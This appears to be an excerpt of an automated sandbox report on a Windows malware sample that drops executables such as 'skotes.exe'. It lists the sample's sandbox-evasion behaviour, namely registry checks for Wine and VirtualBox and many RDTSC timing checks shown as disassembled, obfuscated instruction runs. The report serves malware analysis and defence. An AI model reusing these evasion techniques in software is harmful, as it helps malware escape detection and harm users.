Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAF55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CAF55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2600BA second address: 2600BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25FA3A second address: 25FA52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F64E0F64683h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25FA52 second address: 25FA5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F64E0CE9AA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D6EA0 second address: 3D6EA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D60A0 second address: 3D60A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D60A6 second address: 3D60AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D60AE second address: 3D60C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D60C9 second address: 3D60CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D60CD second address: 3D60DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a jo 00007F64E0CE9AA6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D60DF second address: 3D60EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D639A second address: 3D63D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F64E0CE9AAEh 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f jmp 00007F64E0CE9AACh 0x00000014 pop eax 0x00000015 push ebx 0x00000016 jno 00007F64E0CE9AA6h 0x0000001c jc 00007F64E0CE9AA6h 0x00000022 pop ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D63D2 second address: 3D63D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8C02 second address: 3D8C08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8C08 second address: 3D8C22 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F64E0F64676h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 ja 00007F64E0F64676h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8C22 second address: 3D8C33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8E15 second address: 3D8E28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F64E0F6467Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8E6D second address: 3D8E71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8E71 second address: 3D8F17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jng 00007F64E0F6467Eh 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F64E0F64678h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 push esi 0x00000029 mov ecx, esi 0x0000002b pop ecx 0x0000002c push 00000000h 0x0000002e mov esi, dword ptr [ebp+122D2B7Fh] 0x00000034 push E026062Fh 0x00000039 jnc 00007F64E0F64682h 0x0000003f add dword ptr [esp], 1FD9FA51h 0x00000046 mov dl, 37h 0x00000048 sub dword ptr [ebp+122D2B87h], eax 0x0000004e push 00000003h 0x00000050 xor edx, dword ptr [ebp+122D2AFEh] 0x00000056 push 00000000h 0x00000058 pushad 0x00000059 call 00007F64E0F64685h 0x0000005e pop edx 0x0000005f popad 0x00000060 push 00000003h 0x00000062 clc 0x00000063 jnl 00007F64E0F6467Ch 0x00000069 push C46F9606h 0x0000006e push eax 0x0000006f push eax 0x00000070 push edx 0x00000071 push ebx 0x00000072 pop ebx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8F17 second address: 3D8F1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8F1B second address: 3D8F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 046F9606h 0x0000000e mov dword ptr [ebp+122D338Ah], ecx 0x00000014 lea ebx, dword ptr [ebp+1244CB57h] 0x0000001a sub esi, 094CFB73h 0x00000020 xchg eax, ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 pop eax 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8F42 second address: 3D8F52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8F52 second address: 3D8F66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F64E0F64680h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D90AF second address: 3D90B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D90B5 second address: 3D90B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D90B9 second address: 3D90F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 4DBE1845h 0x0000000f stc 0x00000010 lea ebx, dword ptr [ebp+1244CB62h] 0x00000016 xchg eax, ebx 0x00000017 jmp 00007F64E0CE9AAEh 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F64E0CE9AB8h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FA6E0 second address: 3FA6E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FA6E6 second address: 3FA6EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F84C3 second address: 3F84FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F64E0F64685h 0x0000000b jo 00007F64E0F64676h 0x00000011 jmp 00007F64E0F64686h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F867F second address: 3F869F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F64E0CE9AB7h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F9067 second address: 3F906D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F906D second address: 3F9080 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 jnp 00007F64E0CE9AA6h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F91DC second address: 3F91E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EF151 second address: 3EF156 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EF156 second address: 3EF1AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 je 00007F64E0F64676h 0x0000000c pop eax 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F64E0F64684h 0x00000015 push eax 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F64E0F64689h 0x00000020 jmp 00007F64E0F64686h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D1ECB second address: 3D1ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D1ECF second address: 3D1EF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F6467Ch 0x00000007 je 00007F64E0F64676h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007F64E0F6467Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F9DC9 second address: 3F9DCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F9DCE second address: 3F9E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F64E0F6467Ah 0x0000000b popad 0x0000000c js 00007F64E0F6468Eh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push esi 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FA224 second address: 3FA22F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F64E0CE9AA6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FA22F second address: 3FA23C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F64E0F64676h 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FA23C second address: 3FA24A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F64E0CE9AA6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4001B7 second address: 4001BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4001BB second address: 4001BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4001BF second address: 4001DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F64E0F64681h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4001DA second address: 4001E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F64E0CE9AA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40069D second address: 4006A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 405CB0 second address: 405CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jbe 00007F64E0CE9AA6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4051CC second address: 4051DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 ja 00007F64E0F64676h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4051DB second address: 4051F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AB9h 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 405489 second address: 4054B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jno 00007F64E0F6467Eh 0x0000000b pushad 0x0000000c jo 00007F64E0F64676h 0x00000012 jmp 00007F64E0F64682h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4054B7 second address: 4054C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4054C1 second address: 4054CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push ebx 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4054CB second address: 4054D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4057D5 second address: 4057DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40597C second address: 405981 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 405981 second address: 4059BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F64E0F64680h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jo 00007F64E0F64676h 0x00000015 je 00007F64E0F64676h 0x0000001b push eax 0x0000001c pop eax 0x0000001d popad 0x0000001e jne 00007F64E0F64681h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 405B1B second address: 405B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jg 00007F64E0CE9AB2h 0x0000000d jl 00007F64E0CE9AA8h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 ja 00007F64E0CE9AAEh 0x0000001d push eax 0x0000001e push edx 0x0000001f jc 00007F64E0CE9AA6h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 405B54 second address: 405B58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 405B58 second address: 405B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F64E0CE9AAEh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 405B70 second address: 405B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 405B76 second address: 405B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 405B7A second address: 405B7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 407A8C second address: 407A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 407A91 second address: 407AA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F6467Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 407AA8 second address: 407AAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 407B78 second address: 407B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4084A3 second address: 4084DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F64E0CE9AA6h 0x0000000a popad 0x0000000b pop ebx 0x0000000c mov dword ptr [esp], ebx 0x0000000f push ecx 0x00000010 mov dword ptr [ebp+122D2FE9h], edi 0x00000016 pop edi 0x00000017 call 00007F64E0CE9AAAh 0x0000001c mov dword ptr [ebp+122D3578h], edi 0x00000022 pop esi 0x00000023 nop 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F64E0CE9AADh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4084DD second address: 4084E7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F64E0F64676h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4084E7 second address: 4084F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F64E0CE9AA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 408598 second address: 4085AF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007F64E0F64682h 0x0000000f jo 00007F64E0F6467Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 408826 second address: 40882A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40882A second address: 40882E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40882E second address: 408834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 408A7B second address: 408A81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 408A81 second address: 408A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4098D9 second address: 40996A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F64E0F64685h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d jmp 00007F64E0F64683h 0x00000012 pop ecx 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F64E0F64678h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000016h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 mov di, si 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebp 0x00000038 call 00007F64E0F64678h 0x0000003d pop ebp 0x0000003e mov dword ptr [esp+04h], ebp 0x00000042 add dword ptr [esp+04h], 00000019h 0x0000004a inc ebp 0x0000004b push ebp 0x0000004c ret 0x0000004d pop ebp 0x0000004e ret 0x0000004f jl 00007F64E0F6467Bh 0x00000055 add si, BCF7h 0x0000005a xchg eax, ebx 0x0000005b pushad 0x0000005c ja 00007F64E0F64678h 0x00000062 push ebx 0x00000063 pop ebx 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40996A second address: 40997B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F64E0CE9AA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40997B second address: 409981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
